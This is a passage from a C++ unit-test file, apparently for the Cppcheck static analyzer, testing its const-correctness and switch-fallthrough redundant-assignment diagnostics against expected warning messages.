}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> 